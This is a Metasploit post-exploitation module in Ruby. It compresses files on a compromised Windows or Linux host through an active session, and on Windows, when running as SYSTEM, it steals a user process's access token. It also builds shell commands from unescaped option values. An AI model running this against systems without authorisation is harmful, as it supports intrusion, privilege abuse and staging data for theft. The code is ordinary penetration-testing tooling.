1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Windows::Priv
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Multi Manage File Compressor',
15
        'Description' => %q{
16
          This module zips a file or a directory. On Linux, it uses the zip command.
17
          On Windows, it will try to use remote target's 7Zip if found. If not, it falls
18
          back to its Windows Scripting Host.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => [ 'sinn3r' ],
22
        'Platform' => [ 'win', 'linux' ],
23
        'SessionTypes' => [ 'meterpreter', 'shell' ],
24
        'Compat' => {
25
          'Meterpreter' => {
26
            'Commands' => %w[
27
              stdapi_sys_config_rev2self
28
              stdapi_sys_config_steal_token
29
            ]
30
          }
31
        },
32
        'Notes' => {
33
          'Stability' => [CRASH_SAFE],
34
          'SideEffects' => [],
35
          'Reliability' => []
36
        }
37
      )
38
    )
39

40
    register_options(
41
      [
42
        OptString.new('DESTINATION', [true, 'The destination path']),
43
        OptString.new('SOURCE', [true, 'The directory or file to compress'])
44
      ]
45
    )
46
  end
47

48
  def get_program_file_path
49
    get_env('ProgramFiles')
50
  end
51

52
  def has_7zip?
53
    file?("#{get_program_file_path}\\7-Zip\\7z.exe")
54
  end
55

56
  def wsh_script(dst, src)
57
    script_file = File.read(File.join(Msf::Config.data_directory, 'post', 'zip', 'zip.js'))
58
    src.gsub!('\\', '\\\\\\')
59
    dst.gsub!('\\', '\\\\\\')
60
    script_file << "zip(\"#{src}\",\"#{dst}\");".force_encoding('UTF-8')
61
    script_file
62
  end
63

64
  def find_pid_by_user(username)
65
    computer_name = get_env('COMPUTERNAME')
66
    print_status("Searching for PID for #{computer_name}\\\\#{username}")
67
    session.sys.process.processes.each do |p|
68
      if p['user'] == "#{computer_name}\\#{username}"
69
        return p['pid']
70
      end
71
    end
72

73
    nil
74
  end
75

76
  def steal_token
77
    current_user = get_env('USERNAME')
78
    pid = find_pid_by_user(current_user)
79

80
    unless pid
81
      fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute WSH")
82
    end
83

84
    print_status("Stealing token from PID #{pid} for #{current_user}")
85
    begin
86
      session.sys.config.steal_token(pid)
87
    rescue Rex::Post::Meterpreter::RequestError => e
88
      # It could raise an exception even when the token is successfully stolen,
89
      # so we will just log the exception and move on.
90
      elog(e)
91
    end
92

93
    @token_stolen = true
94
  end
95

96
  def upload_exec_wsh_script_zip
97
    if is_system?
98
      unless session
99
        print_error('Unable to compress with WSH technique without Meterpreter')
100
        return
101
      end
102

103
      steal_token
104
    end
105

106
    script = wsh_script(datastore['DESTINATION'], datastore['SOURCE'])
107
    tmp_path = "#{get_env('TEMP')}\\zip.js"
108
    print_status("script file uploaded to #{tmp_path}")
109
    write_file(tmp_path, script.encode('UTF-16LE'))
110
    cmd_exec("cscript.exe #{tmp_path}")
111
  end
112

113
  def do_7zip
114
    program_file_path = get_program_file_path
115
    output = cmd_exec("#{program_file_path}\\7-Zip\\7z.exe a -tzip \"#{datastore['DESTINATION']}\" \"#{datastore['SOURCE']}\"")
116
    vprint_line(output)
117
  end
118

119
  def do_zip
120
    output = cmd_exec("zip -D -q -r #{datastore['DESTINATION']} #{datastore['SOURCE']}")
121
    vprint_line(output)
122
  end
123

124
  def windows_zip
125
    if has_7zip?
126
      print_status("Compressing #{datastore['DESTINATION']} via 7zip")
127
      do_7zip
128
    else
129
      print_status("Compressing #{datastore['DESTINATION']} via WSH")
130
      upload_exec_wsh_script_zip
131
    end
132
  end
133

134
  def linux_zip
135
    print_status("Compressing #{datastore['DESTINATION']} via zip")
136
    do_zip
137
  end
138

139
  def cleanup
140
    if @token_stolen && session
141
      session.sys.config.revert_to_self
142
      print_status('Token restored.')
143
    end
144

145
    super
146
  end
147

148
  def run
149
    @token_stolen = false
150

151
    if session.platform == 'windows'
152
      windows_zip
153
    else
154
      linux_zip
155
    end
156
  end
157
end
158

159